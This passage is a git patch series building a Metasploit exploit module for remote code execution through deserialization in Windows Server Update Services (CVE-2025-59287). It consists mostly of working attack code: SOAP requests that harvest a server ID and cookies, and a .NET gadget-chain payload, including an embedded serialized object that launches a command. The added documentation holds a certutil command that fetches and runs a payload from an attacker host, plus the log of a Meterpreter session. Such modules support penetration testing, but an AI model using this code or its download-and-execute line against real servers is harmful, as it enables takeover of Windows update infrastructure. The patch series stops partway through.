From 103e3d50449ca6f39f2e6f72c9eac572435d9839 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 21 Oct 2025 16:48:23 +0200 Subject: [PATCH 01/13] Module init --- .../windows/http/wsus_deserialization_rce.rb | 124 ++++++++++++++++++ 1 file changed, 124 insertions(+) create mode 100644 modules/exploits/windows/http/wsus_deserialization_rce.rb diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb new file mode 100644 index 0000000000000..b9166f5f2c1a2 --- /dev/null +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Exploit::Remote::HttpClient + include Msf::Util::DotNetDeserialization + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Server Update Service Deserialization Remote Code Execution', + 'Description' => %q{ + This exploit module illustrates how a vulnerability could be exploited + in an TCP server that has a parsing bug. + }, + 'License' => MSF_LICENSE, + 'Author' => ['skape'], + 'References' => [ + [ 'OSVDB', '12345' ], + [ 'EDB', '12345' ], + [ 'URL', 'http://www.example.com'], + [ 'CVE', '1978-1234'] + ], + 'Arch' => ARCH_CMD, + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows', {}] + ], + 'DisclosureDate' => '2020-12-30', + # Note that DefaultTarget refers to the index of an item in Targets, rather than name. + # It's generally easiest just to put the default at the beginning of the list and skip this + # entirely. + 'DefaultTarget' => 0, + # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + end + + def nonzero_random_bytes(len) + bytes = '' + while bytes.bytesize < len + c = OpenSSL::Random.random_bytes(1) + bytes << c unless c == "\x00" + end + bytes + end + + # partially borrowed from shiro_rememberme_v124_deserialize.rb + def aes_encrypt(_payload) + aes = OpenSSL::Cipher.new('aes-128-cbc') + aes.encrypt + aes.key = Rex::Text.decode_base64('h3wU5DNjgUWtIb0MFzkwcQ==') + aes.iv = "\x00" * 16 + aes.padding = 0 + + salt = nonzero_random_bytes(16) + + block_size = aes.block_size + num = _payload.bytesize % block_size + num2 = _payload.bytesize - num + + head = _payload.byteslice(0, num2).to_s + + tail_src = _payload.byteslice(num2, num).to_s + padded_block = tail_src.ljust(block_size, "\x00") + + result = aes.update(salt) + result << aes.update(head) + result << aes.update(padded_block) + result << aes.final + + result + end + + def enc_payload + dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( + payload.encoded, + gadget_chain: :TextFormattingRunProperties, + formatter: :BinaryFormatter + ) + puts(dotnet_payload) + aes_encrypt(dotnet_payload) + end + + def check + CheckCode::Vulnerable + end + + def exploit + xml_payload = %Q( + + + + + + SimpleTargeting + Lbn4XseONkfCbSVdIvi9Dhd7Y6c82NFX/aik1HDkpdv8ZATTn+lmqfGiKtMbqcwvxnA7zNMKz5dFMjIUaXRamxERSMKyjEqslCwLV7gmqXlQMZHR03LE+8pPBTNnDEKVJLNCKkvALzbT0gG/a4PCAcFJQol8Dd4xMhbtktfoSThyhE5khGvYmFzssVCfhwfFeRzn0xsBy14+8/pUOiaIfUKr/rYCj79taU2N9Wy6Y/dAFzbJCivb4+PQOO7OPTuX37X8EefI5Ih2rT+AK/gCFNGdYAkYdw4stRI3rchedo8zq93uMuZ/mrZhny2CgBYJ9qeaUjoaDTFWJcfiag+V8So+tQb/J44JFGjHqzFw8hcnBLaaWlTt3SdIy8tU2hsDb/6IFyjGjtnPSExTyWSpvjK2cfBm30MzKa1ePVTfyB49/MHFrnoovgT61vR42rsOccMBP84+y7OIu2iddoHvuvp1NMWASUHg8AADHjDk4Dzc8q3/E5oV2KiMEfc2zvNRMyPWFAYmxcNp6eBBNy/8+KKjZVSst2EqGMB3xPoaPl5gK8da3UmjK5jYuXsMuXsxkS0TvnXJqHwBRU44oJDRpqfTR+T4ep2GlYcga40ODIcGu9Dedqw23Ke4vvPzJmMh3ylKgCA/pXw4SJ3rECGyeNRqH9gp4+iFUKAbqcA6syWwHxN+hRcjZViyjD/Ikif4NHM7m693kznj5ZMc4BlMfxCUNFP63W3j+E6rDrb2qt6bzLKwRmvbAeUxvoPCkmB3BFJ5Xcy5iQ6nKP9SzJuJhW4RCuRKWUy5pU5sshmYQ4HF5DIYey66p7vu+3gq2rpIsRLCpzCdJiKWFzyndE/Tf0j4+8BweDOhvlEoQAEgEsDPeXve0oowzRRMI8aNFPAYo7i2Q+czG+2aQM19muvqeUeCt3pl15aE5m8gzdoY4JdwlROVKhjHN0FMle6flywH4MljjE6BXu4TC8BYeak2fkIJvMCr+SwdkwGUg/iSamA1WvKxin8OgXYVMnQTsYpk2Ozfo/mTaJbdMQ31znDxPEtLwp9cGc6y1SU0c1QWC8rYRmpsKrZi7LVd+7tns3LdZeSDEnaP0CL243BI2KQjV1ghGuE0LPp2WlaBXXxANW/HHm56I9strv03cEWauN6OPv9g2D+iIjeHj1XjbPfJxKn0rBuFSfLepjn2kRCl/6mReD7q2x4Sth7c28F8i5yz9X6fYt7rEROcBYVYnWEgxULDKAo3VhN3e4UKaQ/UuM72dXuaS/eRdyeO9Oe1/PP5ZktcQjQmebzxK/14WD50XQi3I1NQEW8q9J5CYBMHmSmAYddK6VRh5U0c34jUgb9kpFNrT0WElnAugM6VICeFQjUDPrXSe2LEMxVwPiPc9mIbSXS/IQHT+P0705bgwZgcWCu3mHUyoNXQHfjYwLiADhN+lXkuGalKvxQFcFAwzBh+jV3nIpNXqZEj3af/jjf+RlwkIGh/PesSn0hUZVm35AX7QMafIBalHT1BkPzJt8039VjbFC8xwP/fAuBw80rd4bwpSLwQHOgD2+QPdSzMS1MnYXRS8wlXwqpA18cSkyjpPb4C1IUJHGVS1gIjkdJQ5iJB4qR+8fihJIZciQNIWt0mW+Bq31B310e8pVwFXukDCa34F11T5qYUHzdGdzv8v61qS0V95qZTlT+8GHv+L9wm2ZIBRW39J6He5Q30jQ8ZDSpME3r97lpmprvyXKOSkClrHicVgxY6hNMgd0mIeJ+Px5fnRrwFECvD9y7FprTFnsOrpwE6vjoKQMh4XHewFtIDy1dXtmPRIRdDnJBFQSJgFrKbPmwK1edV4yR3a2GH1fnO3T1vzKMX/EhFBsvBcorx5LpsigXxPrwQxuWrDab8G+GZFg6iqKopUc7KM1sQX5JlPPGU6OG77S9OSooRNBFxB5ncCsAfFfttKara3fj+hzSN/QaLHxMtrk+tzjnQyE/sxFuc9kOBjyt5b+sQDuet2zPgcyBdjdK36+3qDNK+IoadQG7yWlV15O9eGXrCsW5NMOsRw0bojIso7KqmYL5J9tRVakjbgylhTJx91iWfwv4j+74Ez7Eo3Oxi3xMPwFM1vC2OGBg+nUkSFUbfrz+/2fJmyBViLa961QBzq1wHdWxJ0Sa+ThXtxAx4wPugMTBFWPab5PsjfcpmKSkbG1xXXXb7rKWQeFSOcPBSaTvECIoWaJFnhhXH0zn037QnxiZixUXH6XMNB70oiZqEtYvK+UgZLCPIYrk6x5Drxo455jOkurHupgEjHLN7yQ3F3Tpm/U9ukZVGaK9cTUivH49sbbc9CP/ePUwBjRHGakqp20b20nRKhGXnVnUcVsrD6JcVraEEkFHJ0sTgAnajyO5ulvPk04KL5IBqXwEY5/IJe8OSfnhyCKxIzxrD0Qa0mRQ/3Ho78Wg+TtAkGdlUPD9YH83wNCjX45h5+enM0FA0UtYNesQcQv7/JdwEkGPymk33iMcbyPnnlyV8HDutw2rQxbnDf9UCJitHAL7JvzzYO6QhLpcswKq1lsNtoJVaqdpiIbpC0X4ITxTY0YHhfGfRZkHasaQtaiygj7t5+yQP9ZDS2avMNC5oDeP+Z1XXcep+uqBaJpr9P8mevUC8t/pgDYEQOSfJfHgTkmidVmbXk1W7svWaBHNvbbkmyW3YJro6grv2Z3QmCy+hpYSYRXhZh6bECDEYBJTShhgGplZzKbEPfWS7kL//fP4SyHIBzKQgFgoRcRQjObykrMccPmwzyhsyJLMLagouB5BLTVev2bYYTrIljmxwfMDLDiyc3mvSuv0/HpTAIfLXM275eu/zmTlcLh3PzOcuoePMmU/wza1UZCTsXkHCCAd8jCTVfKow8zxWKrg0d0YvZtc2NlRR5vbITjJBd8TY2cSiF/loMsRFF7kRn3Y96am/uapd6TAwFD2E+cPD8bzhfesuFf5K6/EKWj20uYDAyduEP8/W1Du9PLZvowIIijZgHdc4YMAGDyHXlIDf5XqoBYzZtmRpM9tsTKFaCkTi5i3+tg== + + + + 1.20 + + +) + + send_request_cgi({ + 'uri' => normalize_uri('ClientWebService', 'Client.asmx'), + 'method' => 'POST', + 'headers' => {"SOAPAction" =>"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"}, + 'ctype' => 'text/xml', + 'data' => xml_payload + }) + end +end From 96edf7bad4d5487cb8b1f6f83bcd3ce4bbaa3945 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 3 Nov 2025 14:25:39 +0100 Subject: [PATCH 02/13] Updates --- .../windows/http/wsus_deserialization_rce.rb | 57 +++++++++++-------- 1 file changed, 34 insertions(+), 23 deletions(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index b9166f5f2c1a2..9b3bbe05a6476 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -2,6 +2,8 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## +require 'pry' +require 'pry-byebug' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -82,6 +84,37 @@ def aes_encrypt(_payload) result end + def get_server_id + soap_body = %Q< + + + + + + +> + + res = send_request_cgi({ + 'uri' => normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration' + }, + 'ctype' => 'text/xml', + 'data' => soap_body + }) + + # TODO: add check + xml = res.get_xml_document + + server_id = xml.xpath('//ServerId') + puts "here" + puts server_id + puts xml + puts xml.search("//ServerId") + + end + def enc_payload dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, @@ -97,28 +130,6 @@ def check end def exploit - xml_payload = %Q( - - - - - - SimpleTargeting - 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 - - - - 1.20 - - -) - - send_request_cgi({ - 'uri' => normalize_uri('ClientWebService', 'Client.asmx'), - 'method' => 'POST', - 'headers' => {"SOAPAction" =>"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"}, - 'ctype' => 'text/xml', - 'data' => xml_payload - }) + get_server_id end end From e885da1f0b43088ecc3fe810f6b805031d319c9c Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 3 Nov 2025 20:47:28 +0100 Subject: [PATCH 03/13] Add rce for wsus --- .../windows/http/wsus_deserialization_rce.rb | 187 +++++++++++++----- 1 file changed, 138 insertions(+), 49 deletions(-) diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index 9b3bbe05a6476..9ab1621fbeae0 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -48,42 +48,6 @@ def initialize(info = {}) ) end - def nonzero_random_bytes(len) - bytes = '' - while bytes.bytesize < len - c = OpenSSL::Random.random_bytes(1) - bytes << c unless c == "\x00" - end - bytes - end - - # partially borrowed from shiro_rememberme_v124_deserialize.rb - def aes_encrypt(_payload) - aes = OpenSSL::Cipher.new('aes-128-cbc') - aes.encrypt - aes.key = Rex::Text.decode_base64('h3wU5DNjgUWtIb0MFzkwcQ==') - aes.iv = "\x00" * 16 - aes.padding = 0 - - salt = nonzero_random_bytes(16) - - block_size = aes.block_size - num = _payload.bytesize % block_size - num2 = _payload.bytesize - num - - head = _payload.byteslice(0, num2).to_s - - tail_src = _payload.byteslice(num2, num).to_s - padded_block = tail_src.ljust(block_size, "\x00") - - result = aes.update(salt) - result << aes.update(head) - result << aes.update(padded_block) - result << aes.final - - result - end - def get_server_id soap_body = %Q< @@ -105,24 +69,146 @@ def get_server_id }) # TODO: add check + xml = res.get_xml_document + xml.remove_namespaces! + #TODO: add ServerId check + xml.xpath('//ServerId').text.to_s + + end + + def get_auth_cookie + + # TODO: randomize parameter + soap_body = %Q< + + + +#{@server_id} + +hawktrace.local + + +> + res = send_request_cgi({ + 'uri' => normalize_uri('SimpleAuthWebService','SimpleAuth.asmx'), + 'method' => 'POST', + 'headers' => {'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie'}, + 'ctype' => 'text/xml', + 'data' => soap_body + }) - server_id = xml.xpath('//ServerId') - puts "here" - puts server_id - puts xml - puts xml.search("//ServerId") + #TODO: add check + # + xml = res.get_xml_document + xml.remove_namespaces! + #TODO: add CookieData check + xml.xpath('//CookieData').text.to_s end + + def get_reporting_cookie + timenow = Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") - def enc_payload - dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( - payload.encoded, + soap_body = %Q< + + + + + +SimpleTargeting +#{@auth_cookie} + + + +#{timenow} +#{timenow} +1.20 + + +> + res = send_request_cgi({ + 'uri' => normalize_uri('ClientWebService','Client.asmx'), + 'method' => 'POST', + 'headers' => {'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie'}, + 'ctype' => 'text/xml', + 'data' => soap_body + }) + + xml = res.get_xml_document + xml.remove_namespaces! + + @encrypted_data = xml.xpath('//EncryptedData').text.to_s + @expiration = xml.xpath('//Expiration').text.to_s + #TODO: add XML data check + + end + + def create_malicious_even + timenow = Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") + serialized_payload = Rex::Text.encode_base64(::Msf::Util::DotNetDeserialization.generate( + payload.encoded, # this is the Operating System command to run gadget_chain: :TextFormattingRunProperties, - formatter: :BinaryFormatter - ) - puts(dotnet_payload) - aes_encrypt(dotnet_payload) + formatter: :SoapFormatter + )) + + payload_data = %Q<Binaryfalse1033false1AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==> + + + soap_body = %Q< + + + +#{@expiration} +#{@encrypted_data} + +#{timenow} + + + + +#{SecureRandom.uuid.strip} + +0 +#{timenow} +#{SecureRandom.uuid.strip} +2 +389 +301 + +00000000-0000-0000-0000-000000000000 +0 + +0 +LocalServer + + + +Administrator=SYSTEM +SynchronizationUpdateErrorsKey=#{Rex::Text.html_encode(payload_data)} + + + + + + + + + + +> + + send_request_cgi({ + 'uri' => normalize_uri('ReportingWebService','ReportingWebService.asmx'), + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"', + 'User-Agent' =>'Windows-Update-Agent', + }, + 'ctype' => 'text/xml', + 'data' => soap_body + }) + end def check @@ -130,6 +216,9 @@ def check end def exploit - get_server_id + @server_id = get_server_id + @auth_cookie = get_auth_cookie + get_reporting_cookie + create_malicious_even end end From 98467f3a210a289e31d5f33ca39700fefcdc506a Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Tue, 4 Nov 2025 12:28:03 +0100 Subject: [PATCH 04/13] Adds msf payload to module, adds docs --- .../windows/http/wsus_deserialization_rce.md | 50 ++++++ .../windows/http/wsus_deserialization_rce.rb | 152 ++++++++++-------- 2 files changed, 133 insertions(+), 69 deletions(-) create mode 100644 documentation/modules/exploit/windows/http/wsus_deserialization_rce.md diff --git a/documentation/modules/exploit/windows/http/wsus_deserialization_rce.md b/documentation/modules/exploit/windows/http/wsus_deserialization_rce.md new file mode 100644 index 0000000000000..b9568740590bf --- /dev/null +++ b/documentation/modules/exploit/windows/http/wsus_deserialization_rce.md @@ -0,0 +1,50 @@ +## Vulnerable Application + +Instructions to get the vulnerable application. If applicable, include links to the vulnerable install +files, as well as instructions on installing/configuring the environment if it is different than a +standard install. Much of this will come from the PR, and can be copy/pasted. + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Install the application +1. Start msfconsole +1. Do: `use [module path]` +1. Do: `run` +1. You should get a shell. + +## Options + + +## Scenarios + +``` +msf exploit(windows/http/wsus_deserialization_rce) > run verbose=true +[*] Command to run on remote host: certutil -urlcache -f http://192.168.3.7:8080/g7dX6dKZEs4KZYEuEJH2KQ %TEMP%\nYFKgDXL.exe & start /B %TEMP%\nYFKgDXL.exe +[*] Fetch handler listening on 192.168.3.7:8080 +[*] HTTP server started +[*] Adding resource /g7dX6dKZEs4KZYEuEJH2KQ +[*] Started reverse TCP handler on 192.168.3.7:4444 +[*] Getting server ID +[*] Getting authentication cookie +[*] Getting reporting cookie +[*] Trying to create malicious event +[*] Created malicious event, now waiting for WSUS to sync +[*] Client 10.5.132.161 requested /g7dX6dKZEs4KZYEuEJH2KQ +[*] Sending payload to 10.5.132.161 (Microsoft-CryptoAPI/10.0) +[*] Client 10.5.132.161 requested /g7dX6dKZEs4KZYEuEJH2KQ +[*] Sending payload to 10.5.132.161 (CertUtil URL Agent) +[*] Sending stage (230982 bytes) to 10.5.132.161 +[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.161:49984) at 2025-11-04 12:27:00 +0100 + +meterpreter > sysinfo +Computer : WIN2022__63DA +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > getuid +Server username: WIN2022__63DA\Administrator +``` diff --git a/modules/exploits/windows/http/wsus_deserialization_rce.rb b/modules/exploits/windows/http/wsus_deserialization_rce.rb index 9ab1621fbeae0..d71fa3742ecbf 100644 --- a/modules/exploits/windows/http/wsus_deserialization_rce.rb +++ b/modules/exploits/windows/http/wsus_deserialization_rce.rb @@ -2,11 +2,9 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'pry' -require 'pry-byebug' class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GreatRanking include Exploit::Remote::HttpClient include Msf::Util::DotNetDeserialization @@ -17,46 +15,46 @@ def initialize(info = {}) info, 'Name' => 'Windows Server Update Service Deserialization Remote Code Execution', 'Description' => %q{ - This exploit module illustrates how a vulnerability could be exploited - in an TCP server that has a parsing bug. }, 'License' => MSF_LICENSE, - 'Author' => ['skape'], + 'Author' => [ + 'mwulftange', # security research + 'msutovsky-r7' # module development + ], 'References' => [ - [ 'OSVDB', '12345' ], - [ 'EDB', '12345' ], - [ 'URL', 'http://www.example.com'], - [ 'CVE', '1978-1234'] + [ 'URL', 'https://code-white.com/blog/wsus-cve-2025-59287-analysis/'], + [ 'CVE', '2025-59287'] ], 'Arch' => ARCH_CMD, 'Platform' => 'win', + 'DefaultOptions' => { + 'RPORT' => '8530', + 'WfsDelay' => 900 # need to wait for WSUS to try synchronize + }, 'Targets' => [ [ 'Windows', {}] ], - 'DisclosureDate' => '2020-12-30', - # Note that DefaultTarget refers to the index of an item in Targets, rather than name. - # It's generally easiest just to put the default at the beginning of the list and skip this - # entirely. + + 'DisclosureDate' => '2025-10-14', 'DefaultTarget' => 0, - # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html 'Notes' => { - 'Stability' => [], - 'Reliability' => [], - 'SideEffects' => [] + 'Stability' => [CRASH_SERVICE_RESTARTS], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, IOC_IN_LOGS ] } ) ) end def get_server_id - soap_body = %Q< + soap_body = %( -> +) res = send_request_cgi({ 'uri' => normalize_uri('ReportingWebService', 'ReportingWebService.asmx'), @@ -67,50 +65,50 @@ def get_server_id 'ctype' => 'text/xml', 'data' => soap_body }) - - # TODO: add check - + + fail_with(Failure::UnexpectedReply, 'Unexpected response while getting server ID') unless res&.code == 200 + xml = res.get_xml_document - xml.remove_namespaces! - #TODO: add ServerId check - xml.xpath('//ServerId').text.to_s + xml.remove_namespaces! + + @server_id = xml.xpath('//ServerId').text.to_s + fail_with(Failure::Unknown, 'Failed to get server ID') unless @server_id end - + def get_auth_cookie - - # TODO: randomize parameter - soap_body = %Q< + soap_body = %( #{@server_id} -hawktrace.local +#{Rex::Text.rand_text_alpha_lower(4..8)} -> +) res = send_request_cgi({ - 'uri' => normalize_uri('SimpleAuthWebService','SimpleAuth.asmx'), + 'uri' => normalize_uri('SimpleAuthWebService', 'SimpleAuth.asmx'), 'method' => 'POST', - 'headers' => {'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie'}, + 'headers' => { 'SOAPAction' => 'http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie' }, 'ctype' => 'text/xml', 'data' => soap_body }) - - #TODO: add check - # + + fail_with(Failure::UnexpectedReply, 'Unexpected response while getting authentication cookie') unless res&.code == 200 + xml = res.get_xml_document - xml.remove_namespaces! - #TODO: add CookieData check - xml.xpath('//CookieData').text.to_s + xml.remove_namespaces! + @auth_cookie = xml.xpath('//CookieData').text.to_s + + fail_with(Failure::Unknown, 'Failed to get authentication cookie') unless @auth_cookie end - - def get_reporting_cookie - timenow = Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") - soap_body = %Q< + def get_reporting_parameters + timenow = Time.now.strftime('%Y-%m-%dT%H:%M:%SZ') + + soap_body = %( @@ -126,36 +124,35 @@ def get_reporting_cookie 1.20 -> +) res = 